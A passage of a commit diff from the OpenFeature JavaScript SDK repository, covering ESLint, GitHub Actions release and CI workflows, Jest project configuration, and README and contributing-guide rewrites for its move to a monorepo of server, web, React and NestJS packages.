This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://app.renovatebot.com/dashboard#github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNC4xMDAuMSIsInVwZGF0ZWRJblZlciI6IjM0LjEwOC4xIn0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-01-23 13:46:49 -05:00
261 changed files with 41363 additions and 16877 deletions

View File

@ -3,35 +3,36 @@
"browser": true,
"es2021": true
},
"extends": [
"eslint:recommended",
"plugin:@typescript-eslint/recommended",
"prettier",
"plugin:jsdoc/recommended"
],
"ignorePatterns": ["**/dist/**/*"],
"extends": ["eslint:recommended", "plugin:@typescript-eslint/recommended", "prettier", "plugin:jsdoc/recommended"],
"parser": "@typescript-eslint/parser",
"parserOptions": {
"ecmaVersion": "latest",
"sourceType": "module"
},
"plugins": [
"@typescript-eslint",
"check-file",
"jsdoc"
],
"plugins": ["@typescript-eslint", "check-file", "jsdoc"],
"rules": {
"@typescript-eslint/consistent-type-imports": [
"error",
{
"disallowTypeAnnotations": true,
"fixStyle": "separate-type-imports",
"prefer": "type-imports"
}
],
"jsdoc/require-jsdoc": [
"warn",
{
"publicOnly": true
}
],
"jsdoc/check-tag-names": [
"warn",
{
"definedTags": [
"experimental"
]
"definedTags": ["experimental"]
}
],
"linebreak-style": [
"error",
"unix"
],
"linebreak-style": ["error", "unix"],
"quotes": [
"error",
"single",
@ -39,10 +40,7 @@
"avoidEscape": true
}
],
"semi": [
"error",
"always"
],
"semi": ["error", "always"],
"check-file/filename-naming-convention": [
"error",
{

View File

@ -0,0 +1,34 @@
on:
push:
branches:
- 'release-please**'
env:
CORE_PACKAGE: core
name: Audit Pending Releases
jobs:
npm-release:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.ref }}
# if this is an SDK release, make sure there are no pending releases for @openfeature/core
- name: Check for Pending Dependency PRs
if: ${{ !endsWith(github.ref_name, env.CORE_PACKAGE) }}
run: |
if [ $(gh pr list --search '"release ${{ env.CORE_PACKAGE }}" in:title' | wc -l) -gt 0 ]; \
then echo "Pending @openfeaure/${{ env.CORE_PACKAGE }} release. Please release @openfeaure/${{ env.CORE_PACKAGE }} first!" && exit 1; \
else echo "No pending @openfeaure/${{ env.CORE_PACKAGE }} releases"; \
fi
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: Setup Node
uses: actions/setup-node@v4
with:
node-version: 20
registry-url: "https://registry.npmjs.org"
cache: 'npm'

View File

@ -12,10 +12,12 @@ jobs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: actions/setup-node@v3
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
registry-url: 'https://registry.npmjs.org'
node-version: 20
cache: 'npm'
- name: Install
run: npm ci

12
.github/workflows/dco-merge-group.yml vendored Normal file
View File

@ -0,0 +1,12 @@
name: DCO
on:
merge_group:
# Workaround because the DCO app doesn't run on a merge_group trigger
# https://github.com/dcoapp/app/pull/200
jobs:
DCO:
runs-on: ubuntu-latest
if: ${{ github.actor != 'renovate[bot]' }}
steps:
- run: echo "dummy DCO workflow (it won't run any check actually) to trigger by merge_group in order to enable merge queue"

View File

@ -7,11 +7,39 @@ on:
- edited
- synchronize
permissions:
pull-requests: write
jobs:
main:
name: Validate PR title
runs-on: ubuntu-latest
steps:
- uses: amannn/action-semantic-pull-request@v5
id: lint_pr_title
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- uses: marocchino/sticky-pull-request-comment@v2
# When the previous steps fails, the workflow would stop. By adding this
# condition you can continue the execution with the populated error message.
if: always() && (steps.lint_pr_title.outputs.error_message != null)
with:
header: pr-title-lint-error
message: |
Hey there and thank you for opening this pull request! 👋🏼
We require pull request titles to follow the [Conventional Commits specification](https://www.conventionalcommits.org/en/v1.0.0/) and it looks like your proposed title needs to be adjusted.
Details:
```
${{ steps.lint_pr_title.outputs.error_message }}
```
# Delete a previous comment when the issue has been resolved
- if: ${{ steps.lint_pr_title.outputs.error_message == null }}
uses: marocchino/sticky-pull-request-comment@v2
with:
header: pr-title-lint-error
delete: true

View File

@ -8,20 +8,25 @@ on:
- reopened
branches:
- main
merge_group:
jobs:
build-test-lint:
runs-on: ubuntu-latest
services:
flagd:
image: ghcr.io/open-feature/flagd-testbed:latest
ports:
- 8013:8013
strategy:
matrix:
node-version:
- 20.x
- 22.x
- 24.x
steps:
- uses: actions/checkout@v3
- uses: actions/setup-node@v3
- uses: actions/checkout@v4
- name: Use Node.js ${{ matrix.node-version }}
uses: actions/setup-node@v4
with:
node-version: ${{ matrix.node-version }}
cache: 'npm'
- name: Install
run: npm ci
@ -32,11 +37,49 @@ jobs:
- name: Lint
run: npm run lint
- name: Integration
run: npm run integration
- name: Test Jest Projects
run: npm run test:jest
- name: Test
run: npm run test
- name: Test Angular SDK
run: npm run test:angular
codecov-and-docs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
cache: 'npm'
- name: Install
run: npm ci
- name: Install
run: npm run build
- name: Docs
run: npm run docs
- name: Upload coverage to Codecov
uses: codecov/codecov-action@v3
e2e:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
cache: 'npm'
- name: Install
run: npm ci
- name: Build
run: npm run build
- name: SDK e2e tests
run: npm run e2e

View File

@ -1,40 +0,0 @@
# Publishes a experimental version if a PR comment includes "/publish".
name: publish-experimental
on:
issue_comment:
types:
- created
jobs:
publish-experimental:
if: ${{ github.event.issue.pull_request && contains(github.event.comment.body, '/publish') }}
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: actions/setup-node@v3
with:
registry-url: 'https://registry.npmjs.org'
# the issue_comment event doesn't contain the ref of the PR in question. The build-in "hub" command can get it based on issue number
- name: Checkout Pull Request
run: hub pr checkout ${{ github.event.issue.number }}
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: Install
run: npm ci
- name: Build
run: npm run build
# create an experimental version at this SHA, with minor incremented (vX.X+1.X-experimental-4742ef14cc0ea07e3569eee56899937452a55a9c)
- name: Version
run: npm version minor --no-git-tag-version && npm version "$(npm run current-version -s)-experimental-$(git rev-parse HEAD)" --no-git-tag-version
- name: Publish
run: npm publish --tag experimental --access public
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

View File

@ -13,25 +13,61 @@ jobs:
id: release
with:
command: manifest
token: ${{secrets.GITHUB_TOKEN}}
token: ${{secrets.RELEASE_PLEASE_ACTION_TOKEN}}
default-branch: main
signoff: "OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>"
outputs:
release_created: ${{ steps.release.outputs.release_created }}
release_tag_name: ${{ steps.release.outputs.tag_name }}
release_created: ${{ steps.release.outputs.releases_created }}
all: ${{ toJSON(steps.release.outputs) }}
paths_released: ${{ steps.release.outputs.paths_released }}
sbom:
needs: release-please
runs-on: ubuntu-latest
if: ${{ fromJSON(needs.release-please.outputs.paths_released)[0] != null }}
# Continues with the release process even if SBOM generation fails.
continue-on-error: true
strategy:
matrix:
release: ${{ fromJSON(needs.release-please.outputs.paths_released) }}
env:
TAG: ${{ fromJSON(needs.release-please.outputs.all)[format('{0}--tag_name', matrix.release)] }}
steps:
- name: Checkout Repository
uses: actions/checkout@v4
- name: Setup Node
uses: actions/setup-node@v4
with:
node-version: 20
- name: Generate SBOM
run: |
npm install -g npm@^10.2.0
npm ci
npm sbom --sbom-format=cyclonedx --omit=dev --omit=peer --workspace=${{matrix.release}} > bom.json
- name: Attach SBOM to artifact
env:
GITHUB_TOKEN: ${{secrets.RELEASE_PLEASE_ACTION_TOKEN}}
run:
gh release upload $TAG bom.json
npm-release:
needs: Release-please
needs: release-please
runs-on: ubuntu-latest
if: ${{ needs.release-please.outputs.release_created }}
environment: publish
permissions:
id-token: write
contents: write
steps:
# The logic below handles the npm publication:
- name: Checkout Repository
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Setup Node
uses: actions/setup-node@v3
uses: actions/setup-node@v4
with:
node-version: 16
node-version: 20
registry-url: "https://registry.npmjs.org"
cache: 'npm'
- name: Build Packages
run: |
npm ci
@ -42,7 +78,9 @@ jobs:
- name: Publish to NPM
env:
NODE_AUTH_TOKEN: ${{secrets.NPM_TOKEN}}
run: npm publish --access public
# https://docs.npmjs.com/generating-provenance-statements
NPM_CONFIG_PROVENANCE: true
run: npm run publish-all
- name: Build Docs
run: npm run docs

3
.gitignore vendored
View File

@ -112,3 +112,6 @@ typedoc
# IDE
.idea
# license files copied from root
packages/**/LICENSE

View File

@ -1,3 +1,8 @@
{
".": "1.1.0"
"packages/nest": "0.2.5",
"packages/react": "1.0.1",
"packages/web": "1.6.1",
"packages/server": "1.19.0",
"packages/shared": "1.9.0",
"packages/angular/projects/angular-sdk": "0.0.16"
}

5
.vscode/settings.json vendored Normal file
View File

@ -0,0 +1,5 @@
{
"cSpell.words": [
"domainless"
]
}

View File

@ -1,118 +0,0 @@
# Changelog
## [1.1.0](https://github.com/open-feature/js-sdk/compare/v1.0.1...v1.1.0) (2023-01-23)
### Features
* add STATIC, CACHED reasons ([#360](https://github.com/open-feature/js-sdk/issues/360)) ([2396ea6](https://github.com/open-feature/js-sdk/commit/2396ea60bfe6eab2ff57a66580f714b76dcca678))
## [1.0.1](https://github.com/open-feature/js-sdk/compare/v1.0.0...v1.0.1) (2022-12-23)
### Bug Fixes
* include types in exports ([#355](https://github.com/open-feature/js-sdk/issues/355)) ([11f8efe](https://github.com/open-feature/js-sdk/commit/11f8efe14c4128c5c83469eb8a41205c951f34d9))
## [1.0.0](https://github.com/open-feature/js-sdk/compare/v0.5.1...v1.0.0) (2022-10-19)
### Miscellaneous Chores
* release 1.0.0 ([930f754](https://github.com/open-feature/js-sdk/commit/930f754a4b4d70e4b0f70aef0d6b899cf90d9f8d))
## [0.5.1](https://github.com/open-feature/js-sdk/compare/js-sdk-v0.5.0...js-sdk-v0.5.1) (2022-10-11)
### Features
* add typedoc support ([#268](https://github.com/open-feature/js-sdk/issues/268)) ([198336b](https://github.com/open-feature/js-sdk/commit/198336b098f167f858675235214cc907ede10182))
## [0.5.0](https://github.com/open-feature/js-sdk/compare/js-sdk-v0.4.0...js-sdk-v0.5.0) (2022-10-03)
### ⚠ BREAKING CHANGES
* errorCode as enum, reason as string (#244)
### Features
* add transaction propagation ([#212](https://github.com/open-feature/js-sdk/issues/212)) ([1d251ff](https://github.com/open-feature/js-sdk/commit/1d251ff99e8fc6c03c3f2fd2faa16320e01909fe))
* errorCode as enum, reason as string ([#244](https://github.com/open-feature/js-sdk/issues/244)) ([ce7c4ad](https://github.com/open-feature/js-sdk/commit/ce7c4ad80cedf5c40b6ce1e123caae737b14f6aa))
* experimental web support ([#200](https://github.com/open-feature/js-sdk/issues/200)) ([fd144bb](https://github.com/open-feature/js-sdk/commit/fd144bb13457c29102e60f2075243f52b1ce6d0b))
## [0.4.0](https://github.com/open-feature/js-sdk/compare/js-sdk-v0.3.2...js-sdk-v0.4.0) (2022-09-20)
### ⚠ BREAKING CHANGES
* improve generic type accuracy (#224)
* convert to chainable methods (#221)
* remove flag evaluation options from the provider interface (#185)
* context transformer and related interfaces removed.
### Features
* add client context mutation ([#207](https://github.com/open-feature/js-sdk/issues/207)) ([5b0442a](https://github.com/open-feature/js-sdk/commit/5b0442aee952e694496f3d15770a69b334015802))
* add logger ([#219](https://github.com/open-feature/js-sdk/issues/219)) ([763f167](https://github.com/open-feature/js-sdk/commit/763f16717a4dd199a84bf90302551d3b24c862af))
* convert to chainable methods ([#221](https://github.com/open-feature/js-sdk/issues/221)) ([5253ad9](https://github.com/open-feature/js-sdk/commit/5253ad9b47299c375bbf1151c672454fb11b9f40))
* improve generic type accuracy ([#224](https://github.com/open-feature/js-sdk/issues/224)) ([12230a5](https://github.com/open-feature/js-sdk/commit/12230a5cd7c4a5a1ae55f117fed5d6778118f4ee))
* remove ctx transformer, add provider hooks ([#148](https://github.com/open-feature/js-sdk/issues/148)) ([260432c](https://github.com/open-feature/js-sdk/commit/260432c4f92f16f83635dfafff30ad9bc1697a47))
* remove flag evaluation options from the provider interface ([#185](https://github.com/open-feature/js-sdk/issues/185)) ([e9852e4](https://github.com/open-feature/js-sdk/commit/e9852e4f52fd598cebb9d74f3c22abdb832ebac9)), closes [#183](https://github.com/open-feature/js-sdk/issues/183)
### Bug Fixes
* Add no-op tests ([#99](https://github.com/open-feature/js-sdk/issues/99)) ([a341f5c](https://github.com/open-feature/js-sdk/commit/a341f5c776035ca24b1323b4a37f5f166cdc55d7))
* Dont push experiemental branches ([#101](https://github.com/open-feature/js-sdk/issues/101)) ([0a7a5ec](https://github.com/open-feature/js-sdk/commit/0a7a5ec562d5dcfdb044ebcc25fd1fed703b68f4))
* Fix publish command ([#103](https://github.com/open-feature/js-sdk/issues/103)) ([4742ef1](https://github.com/open-feature/js-sdk/commit/4742ef14cc0ea07e3569eee56899937452a55a9c))
* Fixing error with setProvider type ([#121](https://github.com/open-feature/js-sdk/issues/121)) ([df5d214](https://github.com/open-feature/js-sdk/commit/df5d2149ef15a1e9b58b9a3280c01bd77a2b3dd8))
* update the client to conform to the provider interface ([#187](https://github.com/open-feature/js-sdk/issues/187)) ([f1edb29](https://github.com/open-feature/js-sdk/commit/f1edb296346e9feb2bd86fed71bbe24e725e0531))
## [0.3.2](https://github.com/open-feature/node-sdk/compare/nodejs-sdk-v0.3.1...nodejs-sdk-v0.3.2) (2022-09-09)
### Features
* add client context mutation ([#207](https://github.com/open-feature/node-sdk/issues/207)) ([5b0442a](https://github.com/open-feature/node-sdk/commit/5b0442aee952e694496f3d15770a69b334015802))
## [0.3.1](https://github.com/open-feature/node-sdk/compare/nodejs-sdk-v0.3.0...nodejs-sdk-v0.3.1) (2022-08-26)
### Bug Fixes
* update the client to conform to the provider interface ([#187](https://github.com/open-feature/node-sdk/issues/187)) ([f1edb29](https://github.com/open-feature/node-sdk/commit/f1edb296346e9feb2bd86fed71bbe24e725e0531))
## [0.3.0](https://github.com/open-feature/js-sdk/compare/nodejs-sdk-v0.2.0...nodejs-sdk-v0.3.0) (2022-08-25)
### ⚠ BREAKING CHANGES
- remove flag evaluation options from the provider interface (#185)
### Features
- remove flag evaluation options from the provider interface ([#185](https://github.com/open-feature/js-sdk/issues/185)) ([e9852e4](https://github.com/open-feature/js-sdk/commit/e9852e4f52fd598cebb9d74f3c22abdb832ebac9)), closes [#183](https://github.com/open-feature/js-sdk/issues/183)
## [0.2.0](https://github.com/open-feature/js-sdk/compare/nodejs-sdk-v0.1.10...nodejs-sdk-v0.2.0) (2022-08-15)
### ⚠ BREAKING CHANGES
- context transformer and related interfaces removed.
### Features
- remove ctx transformer, add provider hooks ([#148](https://github.com/open-feature/js-sdk/issues/148)) ([260432c](https://github.com/open-feature/js-sdk/commit/260432c4f92f16f83635dfafff30ad9bc1697a47))
## [0.1.10](https://github.com/open-feature/js-sdk/compare/nodejs-sdk-v0.1.9...nodejs-sdk-v0.1.10) (2022-07-28)
### Bug Fixes
- Fixing error with setProvider type ([#121](https://github.com/open-feature/js-sdk/issues/121)) ([df5d214](https://github.com/open-feature/js-sdk/commit/df5d2149ef15a1e9b58b9a3280c01bd77a2b3dd8))
## [0.1.9](https://github.com/open-feature/js-sdk/compare/nodejs-sdk-v0.1.8...nodejs-sdk-v0.1.9) (2022-07-22)
### Bug Fixes
- Add no-op tests ([#99](https://github.com/open-feature/js-sdk/issues/99)) ([a341f5c](https://github.com/open-feature/js-sdk/commit/a341f5c776035ca24b1323b4a37f5f166cdc55d7))
- Don't push experimental branches ([#101](https://github.com/open-feature/js-sdk/issues/101)) ([0a7a5ec](https://github.com/open-feature/js-sdk/commit/0a7a5ec562d5dcfdb044ebcc25fd1fed703b68f4))
- Fix publish command ([#103](https://github.com/open-feature/js-sdk/issues/103)) ([4742ef1](https://github.com/open-feature/js-sdk/commit/4742ef14cc0ea07e3569eee56899937452a55a9c))

View File

@ -1,7 +1,6 @@
# These owners will be the default owners for everything in
# the repo. Unless a later match takes precedence
* @toddbaert @beeme1mr
# The publish workflows are sensitive because if modified,
# they could publish something experimental as a proper version.
# We should carefully monitor changes to this folder
.github/workflows/* @toddbaert @beeme1mr
#
# Managed by Peribolos: https://github.com/open-feature/community/blob/main/config/open-feature/sdk-javascript/workgroup.yaml
#
* @open-feature/sdk-javascript-maintainers @open-feature/maintainers

View File

@ -6,7 +6,7 @@
node 16+, npm 8+ are recommended.
### Compilation target(s)
### Compilation Target(s)
We target `es2015`, and publish both ES-modules and CommonJS modules.
@ -16,27 +16,34 @@ Install dependencies with `npm ci`. `npm install` will update the package-lock.j
We value having as few runtime dependencies as possible. The addition of any dependencies requires careful consideration and review.
### Modules
This repository uses [NPM workspaces](https://docs.npmjs.com/cli/v9/using-npm/workspaces) to establish a simple monorepo.
Within the root project, there is one common project (`packages/shared`) which features common interfaces and code, consumed by the published modules (`packages/server` and `packages/web`).
The shared module is built and published separately, and is a peer dependency of the SDK packages.
Consumers need not install it separately, since `npm` and `yarn` automatically install required peers.
In order to prevent regressions cause by incompatibilities due to version mismatches, the SDKs are locked to a particular version of the `@openfeature/core` module, and the CI enforces that it's released before any dependant SDKs (see [the related workflow](./.github/workflows/audit-pending-releases.yml)).
### Testing
Run tests with `npm test`.
### Integration tests
### End-to-End Tests
The continuous integration runs a set of [gherkin integration tests](https://github.com/open-feature/test-harness/blob/main/features/evaluation.feature) using [`flagd`](https://github.com/open-feature/flagd). These tests run with the "integration" npm script. If you'd like to run them locally, you can start the flagd testbed with
The continuous integration runs a set of [gherkin e2e tests](https://github.com/open-feature/test-harness/blob/main/features/evaluation.feature) using in-memory provider. These tests run with the "e2e" npm script. If you'd like to run them locally, follow the steps below:
```
docker run -p 8013:8013 ghcr.io/open-feature/flagd-testbed:latest
npm run e2e-server
```
and then run
for the server e2e tests and
```
npm run integration
npm run e2e-web
```
for the web e2e tests.
### Packaging
Both ES modules and CommonJS modules are supported, so consumers can use both `require` and `import` functions to utilize this module. This is accomplished by building 2 variations of the output, under `dist/esm` and `dist/cjs`, respectively. To force resolution of the `dist/esm/**.js*` files as modules, a package json with only the context `{"type": "module"}` is included at a in a `postbuild` step. Type declarations are included at `/dist/types/`
For testing purposes, you can add a comment containing "/publish" in any PR. This will publish an experimental SDK version with the git SHA appended to the version number.
## Pull Request
All contributions to the OpenFeature project are welcome via GitHub pull requests.
@ -71,7 +78,8 @@ To start working on a new feature or bugfix, create a new branch and start worki
```bash
git checkout -b feat/NAME_OF_FEATURE
# Make your changes
git commit
git add --all
git commit --signoff
git push fork feat/NAME_OF_FEATURE
```
@ -112,6 +120,16 @@ on each other), the owner should try to get people aligned by:
- If none of the above worked and the PR has been stuck for more than 2 weeks,
the owner should bring it to the OpenFeatures [meeting](README.md#contributing).
## Releasing
As with most OpenFeature repos, release-please supports our release process.
For this SDK specifically, keep in mind this is a monorepo with dependencies with between components.
If there are multiple release PRs open, ensure that you release them in order consistent with their dependency graph, waiting for each to fully complete.
For example, if there are pending releases for: `@openfeature/core`, `@openfeature/web-sdk` and `@openfeature/react-sdk`, release them in that order.
Also ensure that if there are changes in an artifact which depend on changes in a dependency, that you reflect that in the `peerDependencies` field.
For example, if a new release of `@openfeature/web-sdk` depends on features added in `@openfeature/core`, update the required minimum version of the `@openfeature/core` peer in the `@openfeature/web-sdk` package.json.
## Design Choices
As with other OpenFeature SDKs, js-sdk follows the

139
README.md
View File

@ -1,119 +1,53 @@
# OpenFeature SDK for JavaScript
[![a](https://img.shields.io/badge/slack-%40cncf%2Fopenfeature-brightgreen?style=flat&logo=slack)](https://cloud-native.slack.com/archives/C0344AANLA1)
[![codecov](https://codecov.io/gh/open-feature/js-sdk/branch/main/graph/badge.svg?token=3DC5XOEHMY)](https://codecov.io/gh/open-feature/js-sdk)
[![npm version](https://badge.fury.io/js/@openfeature%2Fjs-sdk.svg)](https://badge.fury.io/js/@openfeature%2Fjs-sdk)
[![Known Vulnerabilities](https://snyk.io/test/github/open-feature/js-sdk/badge.svg)](https://snyk.io/test/github/open-feature/js-sdk)
[![v0.5.1](https://img.shields.io/static/v1?label=Specification&message=v0.5.1&color=yellow)](https://github.com/open-feature/spec/tree/v0.5.1)
[![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/6594/badge)](https://bestpractices.coreinfrastructure.org/projects/6594)
<!-- markdownlint-disable MD033 -->
<p align="center">
<strong>
<a href="https://docs.openfeature.dev/docs/tutorials/getting-started/node">Getting Started<a/>
&nbsp;&nbsp;&bull;&nbsp;&nbsp;
<a href="https://open-feature.github.io/js-sdk">API Documentation<a/>
</strong>
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/open-feature/community/0e23508c163a6a1ac8c0ced3e4bd78faafe627c7/assets/logo/horizontal/white/openfeature-horizontal-white.svg">
<img align="center" alt="OpenFeature Logo" src="https://raw.githubusercontent.com/open-feature/community/0e23508c163a6a1ac8c0ced3e4bd78faafe627c7/assets/logo/horizontal/black/openfeature-horizontal-black.svg" />
</picture>
</p>
---
<h2 align="center">OpenFeature JavaScript SDKs</h2>
This is the JavaScript implementation of [OpenFeature][openfeature-website], a vendor-agnostic abstraction library for evaluating feature flags.
[![Known Vulnerabilities](https://snyk.io/test/github/open-feature/js-sdk/badge.svg)](https://snyk.io/test/github/open-feature/js-sdk)
[![codecov](https://codecov.io/gh/open-feature/js-sdk/branch/main/graph/badge.svg?token=3DC5XOEHMY)](https://codecov.io/gh/open-feature/js-sdk)
[![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/6594/badge)](https://bestpractices.coreinfrastructure.org/projects/6594)
[![FOSSA Status](https://app.fossa.com/api/projects/git%2Bgithub.com%2Fopen-feature%2Fjs-sdk.svg?type=shield)](https://app.fossa.com/projects/git%2Bgithub.com%2Fopen-feature%2Fjs-sdk?ref=badge_shield)
We support multiple data types for flags (numbers, strings, booleans, objects) as well as hooks, which can alter the lifecycle of a flag evaluation.
## 👋 Hey there! Thanks for checking out the OpenFeature JavaScript SDKs
> This library is intended to be used in server-side contexts and has only **experimental support** for web usage. Client-side support can be tracked [here][client-side-github-issue].
### What is OpenFeature?
## Installation
[OpenFeature][openfeature-website] is an open standard that provides a vendor-agnostic, community-driven API for feature flagging that works with your favorite feature flag management tool.
```shell
npm install @openfeature/js-sdk
```
### Why standardize feature flags?
or
Standardizing feature flags unifies tools and vendors behind a common interface which avoids vendor lock-in at the code level. Additionally, it offers a framework for building extensions and integrations and allows providers to focus on their unique value proposition.
```shell
yarn add @openfeature/js-sdk
```
## 🔧 Components
## Usage
This repository contains both the server-side JS and web-browser SDKs.
For details, including API documentation, see the respective README files.
To configure the SDK you'll need to add a provider to the `OpenFeature` global signleton. From there, you can generate a `client` which is usable by your code. While you'll likely want a provider for your specific backend, we've provided a `NoopProvider`, which simply returns the default value.
- [Server SDK](./packages/server/README.md), for use in Node.js and similar runtimes.
- [NestJS SDK](./packages/nest/README.md), a distribution of the Server SDK with built-in NestJS-specific features.
- [Web SDK](./packages/web/README.md), for use in the web browser.
- [React SDK](./packages/react//README.md), a distribution of the Web SDK with built-in React-specific features.
```typescript
import { OpenFeature } from '@openfeature/js-sdk';
Each have slightly different APIs, but share many underlying types and components.
// configure a provider
OpenFeature.setProvider(new YourProviderOfChoice());
## ⭐️ Support the project
// create a client
const client = OpenFeature.getClient('my-app');
- Give this repo a ⭐️!
- [Contribute](#-contributing) to this repo
- Follow us social media:
- Twitter: [@openfeature](https://twitter.com/openfeature)
- LinkedIn: [OpenFeature](https://www.linkedin.com/company/openfeature/)
- Join us on [Slack](https://cloud-native.slack.com/archives/C0344AANLA1)
- For more check out our [community page](https://openfeature.dev/community/)
// get a bool value
const boolValue = await client.getBooleanValue('boolFlag', false);
## 🤝 Contributing
// get a string value
const stringValue = await client.getStringValue('stringFlag', 'default');
// get an numeric value
const numberValue = await client.getNumberValue('intFlag', 1);
// get an object value
const object = await client.getObjectValue<MyObject>('objectFlag', {});
// add a value to the invocation context
const context: EvaluationContext = {
myInvocationKey: 'myInvocationValue',
};
const contextAwareValue = await client.getBooleanValue('boolFlag', false, context);
```
A list of available providers can be found [here][server-side-artifacts].
For complete documentation, visit: https://docs.openfeature.dev/docs/category/concepts
## Hooks
Implement your own hook by conforming to the [Hook interface][hook-interface].
All of the hook stages (before, after, error, and finally) are optional.
```typescript
import { OpenFeature, Hook, HookContext } from '@openfeature/js-sdk';
// Example hook that logs if an error occurs during flag evaluation
export class GlobalDebugHook implements Hook {
after(hookContext: HookContext, err: Error) {
console.log('hook context', hookContext);
console.error(err);
}
}
```
Register the hook at global, client, or invocation level.
```typescript
import { OpenFeature } from '@openfeature/js-sdk';
// This hook used is used for example purposes
import { GlobalDebugHook, ClientDebugHook, InvocationDebugHook } from './debug-hook';
// A global hook will run on every flag evaluation
OpenFeature.addHooks(new GlobalDebugHook());
const client = OpenFeature.getClient('my-app');
// A client hook will run on every flag evaluation executed by this client
client.addHooks(new ClientDebugHook());
// An invocation hook will only run on the registred flag evaluation method
const boolValue = await client.getBooleanValue('boolFlag', false, {}, { hooks: [new InvocationDebugHook()] });
```
A list of available hooks can be found [here][server-side-artifacts].
## Contributing
See [CONTRIBUTING.md](CONTRIBUTING.md) for details on how to contribute to the OpenFeature project.
Our community meetings are held regularly and open to everyone. Check the [OpenFeature community calendar](https://calendar.google.com/calendar/u/0?cid=MHVhN2kxaGl2NWRoMThiMjd0b2FoNjM2NDRAZ3JvdXAuY2FsZW5kYXIuZ29vZ2xlLmNvbQ) for specific dates and the Zoom meeting links.
Interested in contributing? Great, we'd love your help! To get started, take a look at the [CONTRIBUTING](CONTRIBUTING.md) guide.
### Thanks to everyone that has already contributed
@ -123,11 +57,10 @@ Our community meetings are held regularly and open to everyone. Check the [OpenF
Made with [contrib.rocks](https://contrib.rocks).
## License
## 📜 License
[Apache License 2.0](LICENSE)
[![FOSSA Status](https://app.fossa.com/api/projects/git%2Bgithub.com%2Fopen-feature%2Fjs-sdk.svg?type=large)](https://app.fossa.com/projects/git%2Bgithub.com%2Fopen-feature%2Fjs-sdk?ref=badge_large)
[openfeature-website]: https://openfeature.dev
[server-side-artifacts]: https://docs.openfeature.dev/docs/reference/technologies/server/javascript
[hook-interface]: https://open-feature.github.io/js-sdk/interfaces/Hook.html
[client-side-github-issue]: https://github.com/open-feature/spec/issues/167

View File

@ -1,16 +0,0 @@
export default {
clearMocks: true,
collectCoverage: true,
coverageDirectory: 'coverage',
coverageProvider: 'v8',
globals: {
'ts-jest': {
tsConfig: 'integration/step-definitions/tsconfig.json',
},
},
moduleNameMapper: {
'^(.*)\\.js$': ['$1', '$1.js'],
},
setupFiles: ['./setup.ts'],
preset: 'ts-jest',
};

View File

@ -1,11 +0,0 @@
import { OpenFeature } from '../../src/open-feature.js';
import { FlagdProvider } from '@openfeature/flagd-provider';
import assert from 'assert';
const FLAGD_NAME = 'flagd Provider';
// register the flagd provider before the tests.
console.log('Setting flagd provider...');
OpenFeature.setProvider(new FlagdProvider());
assert(OpenFeature.providerMetadata.name === FLAGD_NAME, new Error(`Expected ${FLAGD_NAME} provider to be configured, instead got: ${OpenFeature.providerMetadata.name}`));
console.log('flagd provider configured!');

View File

@ -1,8 +0,0 @@
{
"extends": "../../tsconfig.json",
"compilerOptions": {
"moduleResolution": "node"
},
"include": ["./**/*.ts"],
"exclude": ["node_modules", "**/*.test.js"]
}

View File

@ -106,12 +106,94 @@ export default {
// A preset that is used as a base for Jest's configuration
preset: 'ts-jest',
// Run tests from one or more projects
// projects: undefined,
projects: [
{
displayName: 'shared',
testEnvironment: 'node',
preset: 'ts-jest',
testMatch: ['<rootDir>/packages/shared/test/**/*.spec.ts'],
},
{
displayName: 'server',
testEnvironment: 'node',
preset: 'ts-jest',
testMatch: ['<rootDir>/packages/server/test/**/*.spec.ts'],
moduleNameMapper: {
'@openfeature/core': '<rootDir>/packages/shared/src',
},
},
{
displayName: 'web',
testEnvironment: 'node',
preset: 'ts-jest',
testMatch: ['<rootDir>/packages/web/test/**/*.spec.ts'],
moduleNameMapper: {
'@openfeature/core': '<rootDir>/packages/shared/src',
},
},
{
displayName: 'server-e2e',
testEnvironment: 'node',
preset: 'ts-jest',
testMatch: ['<rootDir>/packages/server/e2e/**/*.spec.ts'],
modulePathIgnorePatterns: ['.*/node-modules/'],
moduleNameMapper: {
'@openfeature/core': '<rootDir>/packages/shared/src',
},
},
{
displayName: 'web-e2e',
testEnvironment: 'node',
preset: 'ts-jest',
testMatch: ['<rootDir>/packages/web/e2e/**/*.spec.ts'],
modulePathIgnorePatterns: ['.*/node-modules/'],
moduleNameMapper: {
'^uuid$': require.resolve('uuid'),
'^(.*)\\.js$': ['$1', '$1.js'],
'@openfeature/core': '<rootDir>/packages/shared/src',
},
},
{
displayName: 'nest',
testEnvironment: 'node',
preset: 'ts-jest',
testMatch: ['<rootDir>/packages/nest/test/**/*.spec.ts'],
moduleNameMapper: {
'@openfeature/core': '<rootDir>/packages/shared/src',
'@openfeature/server-sdk': '<rootDir>/packages/server/src',
},
transform: {
'^.+\\.ts$': [
'ts-jest',
{
tsconfig: '<rootDir>/packages/nest/tsconfig.spec.json',
},
],
},
},
{
displayName: 'react',
testEnvironment: 'jsdom',
preset: 'ts-jest',
testMatch: ['<rootDir>/packages/react/test/**/*.spec.{ts,tsx}'],
moduleNameMapper: {
'@openfeature/core': '<rootDir>/packages/shared/src',
'@openfeature/web-sdk': '<rootDir>/packages/web/src',
},
transform: {
